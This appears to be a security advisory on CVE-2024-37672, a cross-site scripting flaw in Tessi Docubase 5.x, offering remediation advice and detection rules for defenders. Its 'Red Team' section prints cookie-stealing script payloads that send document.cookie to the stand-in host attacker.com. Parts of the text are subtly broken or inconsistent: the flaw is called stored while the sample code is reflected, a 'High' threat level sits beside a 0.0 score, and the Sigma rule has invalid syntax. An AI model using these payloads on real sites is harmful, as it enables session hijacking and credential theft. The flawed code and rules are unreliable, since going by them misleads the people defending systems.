CVE-2024-37672

Executive Summary

CVE-2024-37672 is a stored Cross-Site Scripting (XSS) vulnerability identified in the Tessi Docubase Document Management product, version 5.x. The flaw resides in the idactivity parameter, allowing a remote, unauthenticated attacker to inject arbitrary JavaScript code. Successful exploitation could lead to session hijacking, credential theft, or defacement of the application interface. No official patch or public exploit code has been released, and the CVSS score remains unassigned. The vulnerability is currently unpatched, posing a significant risk to organizations using this software.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or view a malicious page.
• Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
• Confidentiality (C): Low (L) – Potential for data theft.
• Integrity (I): Low (L) – Content can be modified.
• Availability (A): None (N) – No direct impact on availability.
• Threat Level: High – Due to lack of patch and ease of exploitation.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the idactivity parameter of Tessi Docubase 5.x. The application fails to sanitize user-supplied input before storing it in the database and later rendering it in a web page. An attacker can craft a malicious payload, such as <script>alert('XSS')</script>, and submit it via the idactivity parameter. When an administrator or other user views the affected page, the script executes in their browser context.

Attack Flow:

1. Attacker identifies a form or endpoint that accepts the idactivity parameter.
2. Attacker submits a payload containing JavaScript (e.g., <img src=x onerror=alert(1)>).
3. The payload is stored in the database without sanitization.
4. When a victim accesses the page displaying the stored data, the script executes.
5. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly outputs user input without sanitization
$idactivity = $_GET['idactivity'];
echo "<div>Activity ID: " . $idactivity . "</div>";

Patched Code (Conceptual):

// Patched: Uses htmlspecialchars to escape HTML entities
$idactivity = htmlspecialchars($_GET['idactivity'], ENT_QUOTES, 'UTF-8');
echo "<div>Activity ID: " . $idactivity . "</div>";

The patched version ensures that any HTML or JavaScript in the input is escaped, preventing execution.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Tessi Docubase 5.x instance (e.g., http://target.com/docubase)
• Attacker machine: Kali Linux with Burp Suite or a simple Python HTTP server.

Exploitation Steps:

1. Identify the vulnerable parameter: idactivity.
2. Craft a payload: <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
3. Submit the payload via a POST request to the vulnerable endpoint.
4. Wait for an admin to view the affected page.
5. Capture the cookie on your attacker server.

Example Payload:

<script>fetch('http://attacker.com/steal?data='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual idactivity parameter values containing <script>, onerror, or other HTML event handlers.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding.
• Use a security scanner to identify XSS vulnerabilities.
• If possible, disable the vulnerable feature until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing idactivity= followed by <script> or onerror patterns.
  • Outbound connections to unknown IPs or domains from the Docubase server.
• File IOCs:
  • Log entries showing idactivity with HTML/JavaScript content.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser.
  • Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2024_37672_XSS {
    meta:
        description = "Detects XSS payloads targeting Tessi Docubase idactivity parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37672"
    strings:
        $xss1 = /idactivity=.*<script/i
        $xss2 = /idactivity=.*onerror/i
        $xss3 = /idactivity=.*onload/i
        $xss4 = /idactivity=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-37672 XSS Attempt in Tessi Docubase
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads in the idactivity parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET' or 'POST'
        cs-uri-query|contains: 'idactivity='
        cs-uri-query|re: '(<script|onerror|onload|alert\()'
    condition: selection
falsepositives:
    - Legitimate use of HTML in activity IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37672 XSS Attempt in Tessi Docubase"; flow:to_server,established; content:"idactivity="; http_uri; pcre:"/(<script|onerror|onload|alert\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the idactivity parameter functionality if possible, or restrict access to the vulnerable endpoint via firewall rules.
• Short-term: Implement input validation and output encoding (e.g., HTML entity encoding) for all user-supplied data.
• Long-term: Apply a vendor patch once released. If no patch is forthcoming, consider migrating to an alternative document management solution.
• Compensating Controls: Deploy a WAF with XSS rules, enforce strict CSP headers, and conduct regular security audits.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert